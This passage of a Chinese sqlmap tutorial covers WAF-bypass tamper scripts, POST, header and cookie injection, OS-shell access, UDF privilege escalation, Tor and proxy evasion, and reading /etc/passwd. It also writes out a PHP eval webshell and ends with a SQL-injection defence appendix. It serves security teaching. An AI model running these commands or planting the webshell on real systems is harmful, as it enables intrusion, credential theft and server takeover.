| tamper 名 | 功能 |
|---|---|
space2comment |
空格 → /**/ |
space2plus |
空格 → + |
space2dash |
空格 → -- 加换行 |
randomcase |
关键字随机大小写 |
between |
> → NOT BETWEEN 0 AND |
charencode |
URL 编码特殊字符 |
chardoubleencode |
双重 URL 编码 |
base64encode |
Base64 整体编码 |
equaltolike |
= → LIKE |
greatest |
> → GREATEST() |
modsecurityzeroversioned |
用 /*!00000*/ 包裹关键字 |
multiplespaces |
关键字间插入多个空格 |
unmagicquotes |
宽字节绕过(针对 GBK 编码) |
versionedkeywords |
用 MySQL 版本注释包裹关键字 |
14.4.5 输出相关
# 详细输出级别(0-6,默认 1)
-v 3 # 显示实际发送的注入 payload
-v 6 # 显示完整的 HTTP 请求和响应
# 指定输出目录
--output-dir=/tmp/sqlmap_result
# 读取已有的检测 session(断点续扫)
-s /tmp/sqlmap_result/session.sqlite
14.5 完整示例
sqlmap -u "http://sqli-labs/Less-1/?id=1" \
--cookie="PHPSESSID=abc123" \
--random-agent \
--level=3 \
--risk=2 \
--batch \
--dbs
15. sqlmap POST 型注入
15.1 POST 注入的特殊性
POST 型注入和 GET 型最大的区别是:参数在请求体里,需要告诉 sqlmap 请求体的内容和格式。
15.2 直接指定 POST 数据
# --data 指定 POST 参数,-p 指定要测试的参数名
sqlmap -u "http://example.com/login.php" \
--data="username=admin&password=123456" \
-p username
不加 -p 时,sqlmap 会自动测试所有参数:
sqlmap -u "http://example.com/login.php" \
--data="username=admin&password=123456"
15.3 从 Burp Suite 保存请求文件(推荐方法)
最可靠的方式是在 Burp Suite 中抓包,把完整请求保存为文件,然后用 -r 参数读取:
Burp Suite 操作步骤:
- 拦截目标请求
- 右键 →
Save item→ 保存为request.txt
request.txt 内容示例:
POST /login.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=abc123
Content-Type: application/x-www-form-urlencoded
username=admin&password=123456
使用 -r 参数:
sqlmap -r request.txt -p username --dbs
15.4 JSON 格式 POST 注入
如果请求体是 JSON:
sqlmap -u "http://example.com/api/login" \
--data='{"username":"admin","password":"123456"}' \
--content-type="application/json" \
-p username
或者把包含 JSON body 的完整请求保存为文件,用 -r 读取(推荐,更稳定)。
15.5 带 Cookie 的 POST 注入
登录后访问需要认证的页面:
sqlmap -u "http://example.com/profile.php" \
--data="user_id=1" \
--cookie="PHPSESSID=abc123; token=xyz" \
--dbs
15.6 测试 Header 注入
XFF 注入
sqlmap -u "http://example.com/index.php" \
--headers="X-Forwarded-For: 127.0.0.1*" \
--level=5 \
--risk=3
*号标记注入点位置,告诉 sqlmap 在该位置进行注入测试。
User-Agent 注入
sqlmap -u "http://example.com/index.php" \
--user-agent="Mozilla/5.0*" \
--level=5
或者在请求文件中把 User-Agent 的值改成 *,然后:
sqlmap -r request.txt --level=5 --dbs
15.7 Cookie 注入
sqlmap -u "http://example.com/index.php" \
--cookie="id=1*; session=abc" \
--level=2
sqlmap 默认
--level=1不测试 Cookie,需要--level=2及以上才会测试。
16. sqlmap 获取 Shell
16.1 SQL Shell
SQL Shell 允许你在交互式命令行中直接执行 SQL 语句:
sqlmap -u "http://example.com/news.php?id=1" --sql-shell
进入 SQL Shell 后:
sql-shell> select version();
sql-shell> select user();
sql-shell> select load_file('/etc/passwd');
16.2 OS Shell(重点)
OS Shell 可以直接执行服务器操作系统的命令。
前提条件:
- 数据库用户有 FILE 权限
secure_file_priv为空(允许写文件)- Web 服务器与数据库在同一台机器上(sqlmap 需要把 Webshell 写进 Web 目录)
sqlmap -u "http://example.com/news.php?id=1" --os-shell
执行后,sqlmap 会通过交互式菜单引导你完成两步选择:
第一步:选择 Web 语言
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
根据目标服务器实际使用的语言选择,选错了 Webshell 无法被解析执行。
第二步:选择 Web 根目录
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, ...') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a list of absolute directory paths separated with a comma [/var/www/html]:
> /var/www/html/upload/
选择 [2] custom location(s),手动输入 Web 目录的绝对路径(需要该目录对数据库进程可写)。
完成选择后,sqlmap 会上传 Webshell 并进入 OS Shell:
os-shell> id
os-shell> whoami
os-shell> cat /etc/passwd
os-shell> ls /var/www/html/
关于
--batch模式: 加上--batch后 sqlmap 会自动选择默认选项(PHP 语言 + 常见目录),无法手动干预。如果目标使用非标准路径,--batch模式可能上传失败。建议--os-shell时不加--batch,手动在菜单中输入正确路径。
16.3 关于 OS Shell 语言和路径的说明
sqlmap 没有命令行参数可以直接指定 Webshell 语言或 Web 根目录。网络上流传的 --os-shell-type=php 和 --web-root 均不是 sqlmap 的合法参数,实际执行会报 unrecognized arguments 错误。
语言选择和路径输入只能在 --os-shell 启动后的交互式菜单中完成(见 16.2 节)。
16.4 UDF 提权(通过 OS Shell 提升权限)
在 OS Shell 中,如果数据库用户是 root 但操作系统用户不是,可以尝试 UDF 提权:
sqlmap -u "http://example.com/?id=1" --priv-esc
sqlmap 会自动尝试:
- 检查 MySQL 用户权限
- 上传 UDF 动态库文件(Linux 为
.so,Windows 为.dll)到 plugin 目录 - 创建
sys_eval()或sys_exec()函数 - 通过函数执行系统命令
16.5 sqlmap 高级技巧
16.5.1 二阶注入
数据存入数据库时没有直接触发注入,读出来后再次拼接 SQL 时才触发(也叫存储型注入):
sqlmap -u "http://example.com/view.php?id=1" \
--second-url="http://example.com/display.php"
sqlmap 会把 payload 写入第一个 URL,然后从 second-url 读取响应来判断注入结果。
16.5.2 绕过 CSRF Token
有些表单有 CSRF token,每次请求都不同:
sqlmap -u "http://example.com/login.php" \
--data="username=admin&password=123&token=abc" \
--csrf-token="token" \
--csrf-url="http://example.com/login.php"
sqlmap 会先请求 csrf-url 提取最新的 token,再发送注入请求。
16.5.3 自定义 tamper 脚本
当内置 tamper 不够用时,可以自己写:
# custom_tamper.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
"""把 UNION 替换为 UniOn,绕过简单的关键字过滤"""
return payload.replace('UNION', 'UniOn').replace('union', 'UniOn')
使用:
sqlmap -u "..." --tamper=./custom_tamper.py
16.5.4 使用代理池(防 IP 封锁)
# 使用 Tor 网络(需本地运行 Tor 服务)
--tor --tor-type=SOCKS5
# 使用 IP 轮换代理文件(每个请求随机选一个代理)
--proxy-file=proxies.txt
proxies.txt 格式:
http://proxy1:8080
http://proxy2:3128
socks5://proxy3:1080
16.5.5 读写文件
# 读取服务器文件
sqlmap -u "..." --file-read="/etc/passwd"
sqlmap -u "..." --file-read="C:/Windows/win.ini"
# 写入文件(先准备好要写入的本地文件)
sqlmap -u "..." --file-write="/tmp/shell.php" --file-dest="/var/www/html/shell.php"
/tmp/shell.php 内容示例:
<?php @eval($_POST['cmd']); ?>
16.5.6 枚举更多信息
--passwords # 获取数据库用户密码哈希(sqlmap 会尝试字典破解)
--privileges # 获取各用户的权限
--roles # 获取用户角色(Oracle 适用)
--hostname # 获取数据库服务器主机名
--is-dba # 判断当前用户是否是 DBA
--schema # 获取所有数据库的完整表结构
--search -C email # 在所有库所有表中搜索名为 email 的字段
附录:SQL 注入防御
了解攻击,同样要了解防御。以下是正确的防御方式:
A.1 参数化查询(最有效)
// ❌ 错误:直接拼接字符串
$sql = "SELECT * FROM users WHERE username='" . $username . "'";
// ✅ 正确:预处理语句(参数化查询)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=?");
$stmt->execute([$username]);
预处理语句会把 SQL 结构和数据完全分离,用户输入永远不会被当作 SQL 代码解析,这是最根本的防御手段。
A.2 使用 ORM 框架
Django、Laravel、Spring Data 等主流框架的 ORM 层默认使用参数化查询,大幅降低注入风险。但仍要避免在 ORM 中使用原生 SQL 拼接。
A.3 输入验证与过滤
对输入类型、长度、格式进行严格验证(如 id 参数应该只接受整数),但不能作为唯一防御手段——过滤逻辑很容易遗漏边界情况。
A.4 最小权限原则
数据库账号只给必要的权限,绝对不要用 root 账号连接 Web 应用。只需要查询的接口,只给 SELECT 权限;不需要读写文件的,不给 FILE 权限。
A.5 屏蔽错误信息
生产环境关闭详细的数据库报错输出,返回通用错误页面,避免暴露数据库结构信息。在 PHP 中可以关闭 display_errors,改为将错误记录到日志文件。
A.6 WAF 作为辅助手段
WAF 可以作为纵深防御的一层,但不应该作为唯一防线——WAF 可以绕过(如本文第 13 节所示),根本的防御还是要从代码层面解决。
写在最后: 未知攻,焉知防。理解它是为了更好地保护系统,请始终在授权范围内进行安全测试。
浙公网安备 33010602011771号